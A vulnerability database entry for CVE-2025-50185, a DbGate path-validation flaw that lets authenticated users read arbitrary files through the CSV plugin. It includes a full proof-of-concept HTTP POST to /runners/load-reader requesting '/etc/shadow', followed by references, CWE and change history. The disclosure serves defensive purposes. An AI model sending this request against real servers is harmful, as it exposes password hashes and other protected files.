CVE-2025-50185 Details
Description
DbGate is cross-platform database manager. In versions 6.6.0 and below, DbGate allows unauthorized file access due to insufficient validation of file paths and types. A user with application-level access can retrieve data from arbitrary files on the system, regardless of their location or file type. The plugin fails to enforce proper checks on content type and file extension before reading a file. As a result, even sensitive files accessible only to the root user can be read through the application interface. There is currently no fix for this issue. ``` POST /runners/load-reader HTTP/1.1 Host: <REPLACE ME> User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:138.0) Gecko/20100101 Firefox/138.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: <REPLACE ME> Content-Type: application/json Authorization: Bearer <REPLACE ME> Content-Length: 127 Origin: http://192.168.124.119:3000 Connection: keep-alive Cookie: <REPLACE ME> Priority: u=0 Cache-Control: max-age=0 {"functionName":"reader@dbgate-plugin-csv","props":{"fileName":"/etc\/shadow","limitRows":100}} ``` The request payload:  Lines of the file being returned: 
A vulnerability in DbGate versions through 6.6.0 has been identified, allowing unauthorized access to files on the system. This issue arises from inadequate validation of file paths and types in the DbGate CSV plugin. Users with application-level access can read data from arbitrary files, including sensitive files like '/etc/shadow', regardless of their location or file type. The vulnerability exists because the plugin does not properly check content types and file extensions before accessing files, enabling the reading of files restricted to the root user through the application interface.
Metrics
CVSS 4.0 Severity and Vector Strings:
CVSS 3.x Severity and Vector Strings:
No data available for CVSS Version 2.0 on this CVE.
Volerion
Assessed Jul 26, 2025CISA-ADP
Assessed Jul 28, 2025References to Advisories, Solutions, and Tools
By selecting these links, you will be leaving this site. These are references gathered from the official CVE record and are not endorsed by Volerion.
| URL | Source(s) | Tag(s) |
|---|---|---|
| https://github.com/dbgate/dbgate/security/advisories/GHSA-7x75-fmx7-q6h9 | CISA-ADP | AdvisoryExploitVendor |
| https://github.com/dbgate/dbgate/blob/v6.6.0/plugins/dbgate-plugin-csv/src/backend/reader.js#L71-L102 | [email protected] | Source CodeVendor |
| https://github.com/dbgate/dbgate/security/advisories/GHSA-7x75-fmx7-q6h9 | [email protected] | AdvisoryExploitVendor |
Weakness Enumeration
| CWE-ID | CWE Name | Source |
|---|---|---|
| CWE-29 | Path Traversal: '\..\filename' | [email protected] |
Affected Products
| Product | Versions |
|---|---|
| DbGate | All versions |
CPE
Remediation
| |
Change History
4 change records found show changes
| Date | Action | Recorded By |
|---|---|---|
| Jun 17, 2026 | CVE Modified | [email protected] |
| Jun 17, 2026 | CVE Modified | CISA-ADP |
| Jul 28, 2025 | CVE Modified | CISA-ADP |
| Jul 26, 2025 | New CVE Received | [email protected] |
Volerion